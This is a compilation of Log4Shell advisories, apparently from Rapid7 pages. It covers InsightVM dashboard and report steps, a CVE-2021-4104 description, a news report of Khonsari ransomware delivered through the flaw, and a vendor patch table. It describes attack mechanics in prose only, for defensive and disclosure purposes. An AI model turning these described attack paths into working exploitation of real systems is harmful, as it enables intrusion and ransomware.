We know that many downstream vendors will issue security advisories of their own in the coming days and weeks. We continue to monitor several vendors for related security advisories. We will have checks for affected products included in our recurring coverage list as vendors provide details about affected and/or fixed versions. Users can also adapt the Query Builder or SQL Export queries provided above to find products of concern in the meantime, with the caveat that they may not be visible if they use non-standard installation mechanisms.

Specific vulnerability dashboard and Log4j helpful query

Rapid7 released the Specific Vulnerability Dashboard template and the “Log4j by CVE ID” helpful query in the Query Builder on Tuesday, December 13, 2021. Our intent is to allow customers to quickly and easily report on the Log4j vulnerability. More importantly, this gives us a dashboard template that we can leverage in the event of other urgent vulnerability notices.

The Helpful Query searches a customer’s environment for Log4j via the corresponding CVE ID (not paradoxically). Users can apply this query to the Specific Vulnerability dashboard template to create a view into how their environment is being affected.

Follow these steps to create and focus this new dashboard template on Log4j.

• Navigate to the query builder.
  • Click on the add button.
  • Go to the helpful queries section and select the Log4j by CVE ID query.
    
  • Click the Select Query button.
  • Click Save As for the new query.
    • Give the query a name.
• Click the Save button.
• Go to the Dashboards page.
  • Click on the Down Arrow next to the Dashboard name.
  • Select Specific Vulnerability Dashboard.
    
  • Edit the information provided if desired
  • Click the OK button
• To filter the dashboard for Log4j
  • Click the Load Dashboard Filter button
  • Search for your saved Log4j query
  • Click on the name of the query
    

InsightVM users may also create a report that’s based on the Specific Vulnerability dashboard template and have this generated on a recurring basis (N number of days, weeks or months). Follow these steps in order to create this report.

• Navigate to the query builder.
  • Click on the Add button.
  • Go to the helpful queries section and select the Log4j by CVE ID query.
    
  • Once loaded, click the Create Report button.
  • In the report wizard, select Pre-built Reports as the report type.
    
  • From the list that appears, select Specific Vulnerability Dashboard.
    
  • Enter in the relevant information in the Configure selection.
    • Select “I want to schedule and run a recurring report” to have the report generated multiple times.
    • Click the checkbox titled “Permit users who do not have access to console,” and enter an email address or addresses to have this report automatically delivered as it’s generated.
  • Once ready, click the Save and Complete button

We hope these additions will help InsightVM users respond to the threat of Log4Shell and reduce friction in identifying its impact to their environments.

Container security

Customers who are worried about vulnerable images in their container repos have been able to scan for CVE-2021-44228 using InsightVM’s Container Security since December 10 at 2pm ET, thanks to our integration with the Snyk vulnerability database. It is also possible to rerun an assessment on any images that are particularly sensitive to be sure of up-to-date results. Retrieve results via the Container API or the Containers Dashboard:

Read More

CVE-2021-4104

 

Description

JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-44228. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.

Read More

Hackers Exploit Log4j Vulnerability to Infect Computers with Khonsari Ransomware

 

Description

Romanian cybersecurity technology company Bitdefender on Monday revealed that attempts are being made to target Windows machines with a novel ransomware family called Khonsari as well as a remote access Trojan named Orcus by exploiting the recently disclosed critical Log4j vulnerability.

The attack leverages the remote code execution (RCE) flaw to download an additional payload, a .NET binary, from a remote server that encrypts all the files with the extension “.khonsari” and displays a ransom note that urges the victims to make a Bitcoin payment in exchange for recovering access to the files.

Tracked as CVE-2021-44228, the RCE vulnerability is also known by the monikers “Log4Shell” or “Logjam” and impacts versions 2.0-beta9 to 2.14.1 of the software library. In simple terms, the bug could force an affected system to download malicious software, giving the attackers a digital beachhead on servers located within corporate networks.

Log4j is an open-source Java library maintained by the nonprofit Apache Software Foundation. Amassing about 475,000 downloads from its GitHub project and adopted widely for application event logging, the utility is also a part of other frameworks, such as Elasticsearch, Kafka and Flink, that are used in many popular websites and services.

The disclosure comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) sounded an alarm warning of active, widespread exploitation of the flaw that, if left unaddressed, could grant unfettered access and unleash a new round of cyber attacks, as fallout from the bug has left companies rushing to find and patch vulnerable machines.

“An adversary can exploit this vulnerability by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code,” the agency said in guidance issued Monday. “The request allows the adversary to take full control over the system. The adversary can then steal information, launch ransomware, or conduct other malicious activity.”

Furthermore, CISA has also added the Log4j vulnerability to its Known Exploited Vulnerabilities Catalog, giving federal agencies a deadline of December 24 to incorporate patches for the flaw. Similar advisories have been previously issued by government agencies in Austria, Canada, New Zealand, and the U.K.

So far, active exploitation attempts recorded in the wild have involved the abuse of the flaw to rope the devices into a botnet, and drop additional payloads such as Cobalt Strike and cryptocurrency miners. Cybersecurity firm Sophos said it also observed attempts to exfiltrate Amazon Web Services (AWS) keys and other private data from compromised systems.

In a sign that the threat is rapidly evolving, Check Point researchers cautioned of 60 new variations of the original Log4j exploit being introduced in less than 24 hours, adding it blocked more than 1,272,000 intrusion attempts, with 46% of the attacks staged by known malicious groups. The Israeli security company dubbed Log4Shell a "true cyber pandemic."

A vast majority of the exploitation attempts against Log4Shell have originated in Russia (4,275), based on telemetry data from Kaspersky, followed by Brazil (2,493), the U.S. (1,746), Germany (1,336), Mexico (1,177), Italy (1,094), France (1,008), and Iran (976). In comparison, only 351 attempts were mounted from China.

The mutating nature of the exploit notwithstanding, the prevalence of the tool across a multitude of sectors has also put industrial control systems and operational technology environments that power critical infrastructure on high alert.

“Log4j is used heavily in external/internet-facing and internal applications which manage and control industrial processes leaving many industrial operations like electric power, water, food and beverage, manufacturing, and others exposed to potential remote exploitation and access,” said Sergio Caltagirone, vice president of threat intelligence at Dragos. “It’s important to prioritize external and internet-facing applications over internal applications due to their internet exposure, although both are vulnerable.”

The development once again highlights how major security vulnerabilities identified in open-source software could spark a serious threat to organizations that include such off-the-shelf dependencies in their IT systems. The broad reach aside, Log4Shell is all the more concerning for its relative ease of exploitation, laying the foundation for future ransomware attacks.

“To be clear, this vulnerability poses a severe risk,” CISA Director Jen Easterly said. “This vulnerability, which is being widely exploited by a growing set of threat actors, presents an urgent challenge to network defenders given its broad use. Vendors should also be communicating with their customers to ensure end users know that their product contains this vulnerability and should prioritize software updates.”

Read More

Update on Log4Shell’s Impact on Rapid7 Solutions and Systems

 

Description

Like the rest of the security community, we have been internally responding to the critical remote code execution vulnerability in Apache’s Log4j Java library (a.k.a. Log4Shell). We have been continuously monitoring for Log4Shell exploit attempts in our environment and have been urgently investigating the implications for our corporate and production systems. Log4Shell has kept the security community extremely busy for the past several days, and we are no exception. At this time, we have not detected any successful Log4Shell exploit attempts in our systems or solutions. We will continue monitoring our environment for new vulnerability instances and exploit attempts and will update this page as we learn more.

Rapid7 solutions

In terms of Rapid7’s solutions, we prioritized remediation efforts on the Insight Platform and other hosted web application products (e.g. non-Insight branded products such as Logentries). We have remediated the Log4Shell vulnerability in our deployed application services’ code.Customers do not need to take action for any of our hosted web solutions.

Update for December 17, 2021: All hosted solutions that were updated to Log4j-core 2.15 have now been updated to Log4j-core 2.16.

Update for December 20, 2021: We are aware of a new denial-of-service (DoS) vulnerability discovered in Log4j-core 2.16 (CVE-2021-45105) and are working on updating our codebases to use Log4j-core 2.17. We will update this blog post once completed.

Customer action required

There is no action for most customers using our solutions. However, for those using on-premise solutions, the following products and product components have been patched but require customers to take action to fully remediate Log4Shell in their environments. We strongly urge all customers using vulnerable versions of these products and product components to apply updates immediatelysince this vulnerability is being actively exploited and could result in highly impactful remote code execution.

Product or Component	Affected Version(s)	Remediation and Mitigation Instructions
InsightOps r7insight_java logging library	Versions <= 3.0.8	Upgrade r7insight_java to 3.0.9
Logentries le_java logging library	All versions: this is a deprecated component	Migrate to version 3.0.9 of r7insight_java
Logentries DataHub	Linux version <= 1.2.0.820

Windows version <= 1.2.0.820 |Linux: Install DataHub_1.2.0.822.deb using the following instructions.

Windows: Run version 1.2.0.822 in a Docker container or as a Java command per these instructions.

You can find more details here.
InsightOps DataHub | InsightOps DataHub <= 2.0 | Upgrade DataHub to version 2.0.1 using the following instructions.

No customer action required

We have confirmed the following on-premise products and product components arenot affected:

• Alcide kArt, kAdvisor, and kAudit
• AppSpider Pro
• AppSpider Enterprise
• Insight Agent
• InsightIDR Honeypots
• InsightIDR Network Sensor
• InsightIDR/InsightOps Collector & Event Sources
• InsightAppSec Scan Engine
• InsightCloudSec/DivvyCloud
• InsightConnect Orchestrator
• InsightOps non-Java logging libraries
• InsightVM Kubernetes Monitor
• InsightVM/Nexpose
• InsightVM/Nexpose Console
  • Installations of the InsightVM/Nexpose have “log4j-over-slf4j-1.7.7.jar” packaged in them. This is a different library than log4j-core and is not vulnerable to Log4Shell.
• InsightVM/Nexpose Engine
  • Installations of the InsightVM/Nexpose have “log4j-over-slf4j-1.7.7.jar” packaged in them. This is a different library than log4j-core and is not vulnerable to Log4Shell.
• IntSights virtual appliance
• Metasploit Pro
  • Metasploit Pro ships with log4j but has specific configurations applied to it that mitigate Log4Shell. A future update will contain a fully patched version of log4j.
  • Update for December 17, 2021: Metasploit Pro version 4.21.0-2021121601 now ships with v2.16 of Log4j.
• Metasploit Framework
• tCell Java Agent
• Velociraptor

Further reading and recommendations

Our Emergent Threat Response team has put together a detailed blog post about general guidance about how to mitigate and remediate Log4Shell. We will continue updating that post as we learn more about Log4Shell and new mitigation strategies and tactics.

Read More